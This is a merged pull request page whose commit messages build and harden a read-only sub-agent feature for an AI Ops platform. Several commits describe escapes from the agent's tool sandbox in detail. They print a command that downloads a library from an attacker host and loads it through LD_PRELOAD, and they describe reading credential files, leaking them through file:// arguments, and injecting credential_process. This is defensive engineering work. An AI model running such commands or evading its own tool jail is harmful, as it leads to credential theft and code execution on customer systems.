Repository navigation
feat(aiops): sub-agent orchestration with UI-driven settings and console hardening - #99
Merged
Merged
Conversation
Design doc for reducing ~10min AI Ops chat runs via two complementary layers: intra-turn parallel tool calls (Layer A) and a read-only dispatch_agent sub-agent tool with context isolation (Layer B). Documents three prerequisites found during exploration: - createSessionProfile read-modify-write race (silent profile loss) - STS DurationSeconds=900 vs 10-minute runs - CloudFront originReadTimeout=60 requires progress heartbeats Rejects the LangGraph Send map-reduce supervisor: it would require a state-reducer rewrite to enable parallel mutations, which no current workload needs. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Adds §5a: budget controls move from hardcoded defaults to per-tenant config under the `aiops-subagents` TenantConfigService key, exposed via GET/PUT /api/settings/aiops and an aiops-settings.tsx panel. Env vars become platform ceilings rather than plain overrides — web-ui is a shared ECS task, so an unbounded tenant concurrency value would saturate the event loop and Bedrock quota for co-tenants. Resolution is clamp(tenantConfig ?? default, MIN, envCeiling), applied on read so lowering a ceiling retroactively binds existing rows. SUBAGENTS_ENABLED stays an absolute kill-switch. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
11 TDD tasks covering the session-manager concurrency prerequisite, timing baseline, Layer A parallel tool calls, tenant-configurable budgets with platform ceilings, the read-only sub-agent runtime and dispatch_agent tool, data-subagent streaming with a CloudFront heartbeat, collapsed cards, and transcript persistence. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Unlocked read-modify-write on the shared per-tenant credentials file let concurrent get_aws_credentials calls silently drop each other's profiles, surfacing as 'The config profile could not be found'. Serialize per file, write atomically via rename, and cache profiles with refresh-on-near-expiry so fan-out does not multiply AssumeRole calls.
Aggregates the latency and token counts llmAuditLog already computes into a per-node breakdown logged at run end, so the cost of each graph node is attributable before parallelism changes land.
Map keeps INSERTION order and .set() on an existing key does not refresh it, so the plan's eviction snippet targeted the oldest-STARTED run — precisely the long run whose measurement matters most. Delete-then-set makes eviction least-recently-ACTIVE, plus two regression tests. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…eads MAX_TRACKED_RUNS eviction targeted the oldest-INSERTED key, but Map.set() on an existing key never moves it — so a long agent run (up to 30 iterations) got evicted mid-run once 200 other threads had started, silently discarding exactly the numbers this instrumentation exists to capture. Delete-then-set on every write now refreshes position to least-recently-active instead.
ToolNode already ran multiple tool_calls concurrently; the executor prompt forbade emitting them, so an N-way independent sweep cost N serial LLM laps. Independent read-only calls now batch into one turn while dependent calls and mutations stay sequential. Shell subprocesses are bounded by TOOL_CONCURRENCY via a new Semaphore (apps/web-ui/lib/agent/concurrency.ts). Live before/after call-count and wall-time measurement (brief Step 8) was deferred — this environment has no AWS credentials or running Postgres to exercise the agent end-to-end. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…isions Two defects in plan-authored code, both surfaced during Task 3: - Semaphore.run awaited acquire() even on the free-slot path, deferring a microtask so fn() started one tick late — the plan's own test asserted synchronous start, so the plan code failed the plan's test. Inline the slot check. - generateProfileName derives names from Date.now() alone, so two profiles for one account in the same millisecond collide and the second overwrites the first. Added as Task 1 Step 9 with a regression test. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…cond generateProfileName() derived the name from Date.now() alone, so two profiles for the same account created in the same millisecond collided; the second silently overwrote the first's section in the credentials file even though the write itself was correctly serialized. Append 8 hex chars of randomUUID() to guarantee uniqueness, since parallel get_aws_credentials calls (Task 3+) make same-millisecond collisions routine rather than theoretical.
Tenant-configurable sub-agent limits resolved as clamp(tenantConfig ?? default, MIN, envCeiling), applied on read so lowering a ceiling binds existing rows. SUBAGENTS_ENABLED is an absolute kill-switch. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
- validateBudgetInput type-checks before coercing; it guards the PUT /api/settings/aiops boundary in Task 5, where Number() would have accepted true as 1 and "3" as 3. - Add the missing test for the load-bearing isolation invariant: an env ceiling ABOVE the built-in max must be ignored. Correct in code, untested. - Add a test for non-number rejection. - Drop stale Bedrock-specific wording (multi-provider port already landed). Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Number(body[key]) silently accepted booleans (true -> 1) and numeric
strings ("3" -> 3). Since this function is about to become the trust
boundary for PUT /api/settings/aiops (Task 5), require typeof number
before coercion. Also covers the load-bearing invariant that an env
ceiling set ABOVE the built-in max is ignored, and fixes stale
"Bedrock quota" wording now that the platform is multi-provider.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Reuses the Agent RBAC subject (already mapped to the AIOps module) and stores the clamped budget under the aiops-subagents tenant-config key.
- Important: blank number input made Save a silent no-op. Zod rejects NaN client-side but the panel rendered no formState.errors and passed no invalid handler, so the click did nothing with zero feedback. Add an onInvalid toast and per-field error text. - Alert copy contradicted the spec and the code: the panel is read-only when the platform kill-switch is off, not 'saved but inert'. - Use the Spinner primitive instead of bespoke Loader2 markup, per CLAUDE.md. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Ephemeral ReAct loop with its own context that returns one bounded findings report. Fail-closed jail refuses mutative and unverified tools, plus dispatch_agent (depth cap 1) and ask_user (no human inside a tool call), so LangGraph's inability to interrupt mid-tool-call is never a safety hole.
…py in sub-agent settings Adds an invalid-submit toast + per-field inline error so a blank number input no longer makes Save a silent no-op, fixes the platform-disabled alert copy to match the actual read-only behaviour, and swaps the bespoke Loader2 spinner on the Save button for the Spinner primitive.
Latent cross-task hazard. The denylist matched case-sensitively while classifyTool lowercases internally. Harmless today because dispatch_agent is not yet in the READ_ONLY_ALLOWLIST — but Task 8 adds it, after which 'Dispatch_Agent' would miss the denylist and then be waved through as allowlisted-read-only, re-enabling sub-agent recursion. The tool-name lookup would still catch it, but a safety boundary must not rest on its backstop. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
isReadOnlyForSubagent and filterReadOnlyTools checked SUBAGENT_TOOL_DENYLIST with a case-sensitive Set lookup, but classifyTool lowercases tool names internally. Once dispatch_agent is added to classifyTool's read-only allowlist (Task 8), a case variant like "Dispatch_Agent" would miss the denylist and fall through to an allowlist match, coming back allowed — silently re-enabling sub-agent recursion. Lowercase before the denylist check in both functions so the jail doesn't depend on tool-name casing agreeing with the classifier's, and add a regression test proving the fix (verified it fails without the fix, once dispatch_agent is hypothetically allowlisted).
Spinner routes className to its outer wrapper and sizes the icon solely via the size variant (default md = 24px), so <Spinner className="h-4 w-4" /> renders a 24px icon inside a 16px box. Match the codebase idiom used at agent-ops/page.tsx:258. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…sName className only styles the wrapper div; the inner Loader2 icon is sized exclusively by the size variant, which defaults to md (24px). Use size="sm" (matching every other call site) so the button spinner matches the 16px it replaced.
Adversarial review broke the shell layer 23 ways. Root cause is a design error in this plan: it assumed classifyTool's fail-closed !matchedRule default covered shell, but for bash-like names classifyTool returns matchedRule:TRUE with 'read-only bash command' for any string missing its 7 regexes. The fail-closed rule was therefore unreachable for execute_command, and a sub-agent runs inside a tool call where LangGraph cannot interrupt and no human can approve. Adds Task 7 Steps 6-8: allowlist by binary + read-only operation (tokenising past global flags, stripping quotes), refuse shell metacharacters, cancel the loop on timeout instead of merely abandoning it, refuse bash-like calls with no usable command string, and report real usage on the timeout path. The 23 proven bypasses become the regression suite. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
An adversarial review escaped the shell blocklist 23 ways: a flag before the service name, a quote around the verb, a verb missing from the pattern list, or simply a different binary (pulumi, psql, python3). classifyTool reports matchedRule:true for any bash command that misses its regexes, so the fail-closed rule never applied to shell — and a sub-agent runs inside a tool call, where LangGraph cannot interrupt and no human can approve. Replace it with an allowlist: refuse shell metacharacters, then require an allowlisted binary and a read-only operation resolved by tokenising past global flags. Also cancel the loop on timeout (it previously ran on unsupervised, spending untracked tokens), refuse bash-like calls with no usable command string, and report real usage on the timeout path. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…ead tool Second adversarial review escaped the shell allowlist to full RCE: aws --endpoint-url https://attacker s3api get-object --bucket b --key evil.so /tmp/evil.so LD_PRELOAD=/tmp/evil.so ls / The outfile positional was never examined and the VAR=value stripper accepted any variable name. A boolean global flag also shifted which token was read as the operation, re-enabling 'aws s3 sync ... --delete' against a prod bucket. Also confirmed: cat /root/.aws/credentials, and redshift get-cluster-credentials --auto-create mutating despite its get- prefix. Two designs have now failed. Gating a shell string means modelling all of bash and all of AWS CLI semantics, and each patch round produced a new escape. Sub-agents therefore lose shell entirely; aws_read takes service and operation separately, builds argv server-side, and runs execFile with shell:false — so metacharacters, quoting, flag-order confusion and env prefixes are unrepresentable rather than blocked. No positionals, denied-flag set, and denied-operation set for credential-minting reads. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…ad tool Two designs for gating a shell command string inside a sub-agent failed adversarial review. The second was escaped to full RCE: s3api get-object with --endpoint-url fetches an arbitrary file from an arbitrary host to an arbitrary local path (the outfile positional was never examined), then an LD_PRELOAD prefix executes it. A boolean global flag also shifted which token was read as the operation, restoring 'aws s3 sync … --delete' against a production bucket. Gating a shell string means modelling all of bash and all of AWS CLI semantics. Sub-agents now have no shell at all: aws_read takes service and operation separately, builds argv server-side, and runs execFile with shell: false, so metacharacters, quoting, flag-order confusion and env prefixes are unrepresentable rather than merely blocked. No positionals (so no outfile write), a denied-flag set (no --endpoint-url exfiltration, no --cli-input-json), and a denied-operation set (no credential-minting reads). Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Third escape: the structured tool kept DENYLISTS for flags and operations. argparse has allow_abbrev=True so --endpoint was accepted for the denied --endpoint-url (unauthenticated downloader), and a zero-arity flag emitted 'flag value' whose value the CLI read as s3api get-object's positional outfile. Chained: wrote credential_process into ~/.aws/config, then executed it. Also aws_read was refused by its own jail, so the design had never run. Enumerate the permitted instead: explicit (service, operation) pairs, explicit flags, and a declared arity per flag so no value token exists for a zero-arity flag and a positional cannot be produced by construction. Arity also makes multi-value and boolean flags expressible, fixing the usability gaps that would have pushed users back to shell. Adds concurrency bound and audit logging. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
The structured tool still used DENYLISTS for flags and operations, and both were
escaped. argparse has allow_abbrev=True, so --endpoint was accepted for the
denied --endpoint-url, turning the CLI into an unauthenticated downloader; and a
zero-arity flag ("--no-cli-pager": "/tmp/x") emitted `flag value`, whose value
the CLI read as the positional outfile of s3api get-object. Chained, that wrote
a credential_process entry into ~/.aws/config and executed arbitrary commands.
Enumerate the permitted instead: explicit (service, operation) pairs, explicit
flags, and a declared arity per flag so a zero-arity flag emits no value token
and a positional cannot be produced by construction. Arity also makes
multi-value flags (--instance-ids i-1 i-2) and boolean flags expressible, which
the previous revision could not do.
Arity alone was not sufficient. The flag allowlist constrains the KEYS of
params, while argparse decides what is a flag by looking at the token — and a
'many' flag emits each array element as its own argv token. So
{"--instance-ids": ["i-1", "--endpoint-url", "..."]} had the CLI stop consuming
at --endpoint-url and parse it as a flag, reaching every flag the allowlist
exists to exclude, plus "--" to reopen positionals. Enforce the invariant that
closes it: no argv token may begin with "-" unless the builder emitted it as a
flag. That covers param values and anchors the region and profile patterns,
which previously matched the literal string "--endpoint-url".
Also: look both maps up as own properties. A bare index made service
"constructor" return the Object constructor, whose missing .has threw a
TypeError out of a function whose contract is to return a refusal — and
validate() is called outside the tool's try/catch.
Also: permit aws_read in the sub-agent jail (it was refused on every call, so
this path had never run), bound concurrent aws subprocesses, and audit-log every
call — sub-agent AWS activity has no human gate.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
The allowlist was tight enough to be useless for its stated job: the sub-agent could not enumerate the accounts it was auditing, could not answer whether a bucket is public, and stopped one step short of reading any IAM policy document. A refused read pushes users back toward a shell, which is the failure mode this whole design exists to avoid. Adds organizations (list-accounts, describe-organization, list-accounts-for-parent, list-tags-for-resource), cloudtrail lookup-events, cloudwatch get-metric-data, s3api bucket-policy/acl/public-access-block/logging and list-objects-v2, iam get-policy-version/list-role-policies/get-role-policy/ list-users/list-attached-user-policies, acm, kms, route53, cloudfront, plus ec2 describe-instance-status/vpc-endpoints/flow-logs, elbv2 listeners/rules, rds describe-db-cluster-snapshots, logs get-log-events and ce get-cost-forecast/get-dimension-values. 21 services, 91 operations. Also completes ALLOWED_FLAGS. An operation on the list whose required parameter is missing is on the list but not callable — elbv2 describe-target-health without --target-group-arn, eks describe-cluster without --name. Every added flag is a resource selector, filter, or pagination control; none changes where the CLI connects, which credentials it uses, or where it writes. Deliberately still absent, each for a stated reason in comments: ssm (get-parameter returns SecureString plaintext), secretsmanager, sso, ecr, redshift, cognito-identity, the `s3` command set (cp/sync write files), s3api get-object (positional outfile), ec2 describe-instance-attribute (user-data carries bootstrap credentials) and iam get-credential-report. lambda get-function-configuration is kept with a NOTE recording the trade-off: it returns Environment.Variables in plaintext, and sub-agent reports reach orchestrator context and, once Task 11 lands, Postgres. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
… tool identity The sub-agent's aws_read tool allowlisted service, operation, flag name and flag arity, but flag VALUES were governed by one denylist rule — "must not start with -". That was escaped by a value starting with a letter. The AWS CLI dereferences a file:// prefix on every SERVICE parameter, reads the target, and echoes the FULL file contents in its parse error; aws_read returns `stdout || stderr` to the model verbatim. In the ECS task the reachable targets are the tenant credentials file (live STS credentials for every assumed customer role) and /proc/1/environ (DATABASE_URL, NEXTAUTH_SECRET, COGNITO_APP_CLIENT_SECRET). Values are now validated POSITIVELY: every flag declares the SHAPE its values must match, and the ten shapes are chosen so that none can match a leading URI scheme (no ":" at all, or no "/" in any segment, or an anchored literal prefix). The dash rule and an explicit scheme rule are kept as cheap backstops rather than as the mechanism. Asserted as a property over the shape table, and over every one of the 125 value-taking flags. Also: - The aws_read exemption is bound to a unique-Symbol marker on the tool INSTANCE, not to the string "aws_read". Remote MCP tool names are unprefixed, so a tenant-configured server exposing a tool by that name was waved through the fail-closed jail and shadowed the real tool in toolsByName. A bare-name call now gets no exemption at all. - buildAwsReadArgv enforces arity on its OUTPUT, so its "cannot emit a positional" property holds without trusting the caller to have validated first. - AWS_CONFIG_FILE is pinned per tenant instead of inherited: an ambient ~/.aws/config can set cli_follow_urlparam, credential_process and sso_*. - Recorded why omitting AWS_CONTAINER_CREDENTIALS_RELATIVE_URI and AWS_ACCESS_KEY_ID from buildCommandEnv is load-bearing — with them, a call with no profile silently falls back to the ECS task role. - Widened the read surface for ordinary audit questions: iam user/account reads, config, guardduty, securityhub, accessanalyzer, Logs Insights, and assorted ec2/s3api/rds/cloudwatch describes. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
One sub-agent per tool call so ToolNode's existing concurrency performs the fan-out. Budget exhaustion returns a do-it-yourself instruction rather than an error, so runs degrade to the serial baseline instead of failing. Skips the brief's Step 5 (adding dispatch_agent to tool-classifier.ts's READ_ONLY_ALLOWLIST): dispatch_agent is only ever offered to the orchestrator, never to a sub-agent, so the guard node's unknown-tool -> human-approval path is the correct fail-closed behavior here and costs only one extra risk-assessment call. Widening the shared allowlist isn't needed for that. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
The first emit({status:'running'}) runs before the try, so a throwing
onSubagentEvent sink rejected the tool call itself — consuming a budget
reservation and handing the model a generic ToolNode error instead of the
intended do-it-yourself instruction. Swallow inside emit so every call site
is covered, including the progress callback passed into runSubagent.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
The first emit({status:'running'}) ran before the try block, so a throwing
sink (the chat route's stream-enqueue callback throws once the client
disconnects) rejected the tool call itself: the budget reservation was
already spent with nothing to show for it, and the model saw a generic
"fix your mistakes" error instead of the intended do-it-yourself instruction.
Only masked today by ToolNode's default handleToolErrors=true.
Wrap the sink call in emit() with try/catch so every call site — including
the mid-run progress callback passed into runSubagent — is covered.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Collapsed-card progress instead of interleaved token streams, plus a 15s heartbeat so a silent fan-out phase cannot exceed CloudFront's 60s originReadTimeout and drop the connection. The graph (and dispatch_agent's onSubagentEvent closure) is built in POST(), before the ReadableStream's controller exists, so the live sink is a liveSubagents map + subagentSinkRef bridge: emitSubagent buffers into the map and forwards through the ref, which processStream's start(controller) connects once controller is available and tears down (interval cleared, sink detached) in the same finally block that runs logRunSummary. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Derive RunState.subagents from the data-subagent stream part (later parts for an id replace the earlier entry in place, preserving first-seen order) and render one collapsed SubagentCard per sub-agent in a new run-rail section, so sub-agent prose never lands in the transcript. RunState gained a required field, so the three RunState test fixtures (run-rail, agent-turn, transcript-header) are completed alongside it. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…r reload Transcripts live in agent_subagent_runs (30-day TTL) and are fetched on demand, never carried in the dispatch_agent ToolMessage — that message enters the orchestrator's context and would undo the isolation sub-agents exist to give. Secrets are redacted in SubagentRunPostgresRepository.save(), not at the call site, so no present or future caller can bypass it: aws_read permits `lambda get-function-configuration`, whose Environment.Variables are plaintext, and those must never reach at-rest storage in a multi-tenant database. data-subagent parts are not persisted, so a reloaded thread has no live sub-agent state at all. RunState now carries usedSubagents (set by a persisted dispatch_agent tool call), which is what lets the rail rebuild the cards from agent_subagent_runs instead of rendering nothing. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
The heartbeat tick walked `liveSubagents` only, and `emitSubagent` deletes each sub-agent from that map on its terminal event. So the tick wrote zero bytes exactly during the orchestrator's post-fan-out call — the longest silence and the largest context in the run — which is the connection CloudFront's 60s originReadTimeout drops. It protected the cheap window and abandoned the expensive one. Extract the tick body into `buildHeartbeatChunks` in stream-parts.ts (pure, exported, covered) and make it always yield at least one chunk: a transient `data-keepalive` part when nothing is in flight. Transient parts reach the client but are never appended to `message.parts`, and `deriveRunState` has no case for `data-keepalive`, so the keep-alive moves no UI state. The tick body had to leave route.ts to be testable at all: nothing in the suite imports route.ts, so deleting `clearInterval(heartbeat)` outright still left 95/95 green. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…review
B1 — dispatch_agent returned the sub-agent report unredacted. That value becomes
a ToolMessage, and the chat route persists every new message verbatim, so it
reached two sinks the subagent repository never sees: chat_messages (30-day TTL,
and replayed to the browser by /api/threads/[threadId]/history) and the LangGraph
checkpoint tables, which have no TTL at all. Redacting at the source covers all
three sinks and the orchestrator's own context; the repository call stays as
defence-in-depth.
B2 — `cloudformation describe-stacks` is allowlisted and returns
{ParameterKey, ParameterValue} pairs, where the secret sits under a key that is
not secret-shaped and is named by a SIBLING field. Key-name matching was
structurally blind to it. Adds a sibling name/value rule (covering ParameterKey/
Value, OutputKey/Value, {name,value} and {Key,Value}) plus credential-in-URL
rewriting for the connection strings that carry no key at all. Both rules run on
the structural walk and in the regex fallback. Tags and ordinary parameters are
left byte-identical.
F3 — tool output was truncated BEFORE the transcript was built, so truncated JSON
no longer parsed and redaction silently fell back to its weaker regex path, which
has no Environment.Variables location rule. A real get-function-configuration
exceeds the 4000-char cap routinely, so the weak path was the common path. The
transcript is now redacted then truncated. The model-visible copy stays raw: the
location rule blanks every value under Variables, which is right for storage and
wrong for a live agent that must still reason about what it just read.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
`tryReserve` gated on settled spend, but a sub-agent only reports usage when it finishes — and ToolNode dispatches a turn's `dispatch_agent` calls concurrently. Every reservation in a fan-out therefore saw `tokensSpent === 0`, so the token budget was never consulted for the fan-out it exists to bound. Only the count limit ever bit: 16 sub-agents were admitted against a 50,000-token budget, with a true worst case of `maxSubagentsPerRun x subagentMaxIterations` model calls and no token brake at all. The field is a user-facing slider, so it over-promised. Reserve an estimate at dispatch and reconcile on completion. The ledger now keeps `tokensSpent` (reconciled) alongside `tokensReserved` (in flight) and admits only when both plus the new estimate fit. `tryReserve` returns an idempotent `reservation` handle; `recordSpend` is gone, so nothing can spend without first reserving. The release runs in a `finally`, covering success, internal failure, timeout and the catch path -- a reservation stranded by a failed sub-agent would otherwise starve the run of capacity it never used. The estimate is quadratic in `subagentMaxIterations`, because a sub-agent re-sends its transcript on every model call; a linear estimate under-reserves by 40% at the maximum iteration count, exactly where a ceiling must hold. At the shipped defaults the token gate admits 8 while `maxConcurrentSubagents` is 3, so the concurrency cap still binds first and parallelism is unchanged. Refusals now distinguish the count limit, an exhausted budget, and the misconfiguration where one sub-agent cannot fit in the whole budget. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…v vars Chat triage, the four memory subsystems, autonomous skill creation, the skill-synthesis thresholds and the run iteration cap move from env kill-switches to the 'aiops-features' tenant-config key, edited from the AI Ops console. Defaults reproduce the old env-unset behavior exactly; a per-tenant 30s cache keeps the hot gates synchronous. SUBAGENTS_ENABLED inverts to an emergency-off (unset = enabled; the tenant toggle governs). Triage/auto-select now treat skill matching as the DEFAULT, returning null only when nothing in the catalog is even loosely related. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…l observability Root cause of the 'text-delta for missing text part' stream kills: sub-agent model calls run inside ToolNode, so their on_chat_model_* events drove the route's single-threaded text-part state machine and concurrent fan-outs corrupted part ids (also leaking narration into the transcript). Sub-agent model calls are now tagged and filtered like guard runs, with their usage still billed. Plus: stale running cards reconcile from agent_subagent_runs after stream death; cards get task subtitles, live action lines, elapsed timers and a budget denominator; the composer locks every input except Stop while streaming; the guard's deterministic allowlist covers the platform's own read-only tools so its LLM risk batch fires only for real mutations; the run's active skill (incl. triage auto-selection) is surfaced as a data-skill part in the rail; settings open from the console header menu instead of a navbar entry; AI SDK protocol errors get recoverable copy. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…iscipline CORE_PRINCIPLES gains a model-independent mandate applied to every graph: load the matching skill BEFORE skill-covered work, treat recalled memory as data (verify conflicts, never ignore), search the knowledge base before answering 'not found', and pick the purpose-built tool (MCP, aws_read, skills) over improvising or credential-scavenging. The planner learns delegation exists (budget-gated); the executor's batch-vs-delegate triggers become disjoint and dispatch briefs must be aws_read intents, never shell lines; all delegation prompt text disappears when sub-agents are disabled. Skill-load logs now include the injected char count as observable proof of prompt injection; the tenant-tunable iteration cap replaces the hardcoded MAX_ITERATIONS in both agents. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
This branch delivers the AI Ops sub-agent orchestration feature end to end, then hardens it through several rounds of live testing, and finishes by making the whole AI Ops behavior surface tenant/UI-driven with zero env-var dependencies.
Sub-agent orchestration (Claude Code
Taskpattern)dispatch_agentfan-out tool on the planning graph: parallel, strictly read-only sub-agents with their own context, returning compressed reports; per-run budget ledger (concurrency semaphore + worst-case token reservation, clamped tenant config with platform ceilings).aws_readtool (positive allowlist on service/operation/flags/values, argv built in code,shell: false), tenant-pinnedAWS_CONFIG_FILE/credentials file, no ambient-credential fallback.chat_messages, checkpoints, or the newagent_subagent_runstable (30-day TTL; collapsed cards expandable after reload).Stream-corruption root-cause fix
Sub-agent model calls run inside ToolNode, so their
on_chat_model_*events drove the chat route's single-threaded text-part state machine — concurrent fan-outs corrupted part ids ('text-delta for missing text part'), killed the stream, and leaked narration into the transcript. They're now tagged (SUBAGENT_MODEL_TAG) and filtered like guard runs, with usage still billed.UI-driven configuration (no env vars)
aiops-featurestenant config + settings card: chat triage, working/episodic/procedural memory, memory reconciliation, autonomous skill creation, synthesis thresholds, and the run iteration cap — all edited from the AI Ops console (header ⋮ → AI Ops settings), clamped on read/write, 30s per-tenant cache. Defaults preserve prior behavior exactly.SUBAGENTS_ENABLEDinverted to an emergency-off only; the tenant toggle governs.Agent discipline & observability
CORE_PRINCIPLESresource-utilization mandate (skills-first, memory-as-data, KB-before-'not-found', purpose-built tools) applied to every graph and model.Test plan
cd apps/web-ui && bun run test: all suites touched by this branch pass (~470 tests incl. 100+ new); the 16 failing files are the documented pre-existing mock-harness/integration failures, byte-identical to themaster-v1baseline.🤖 Generated with Claude Code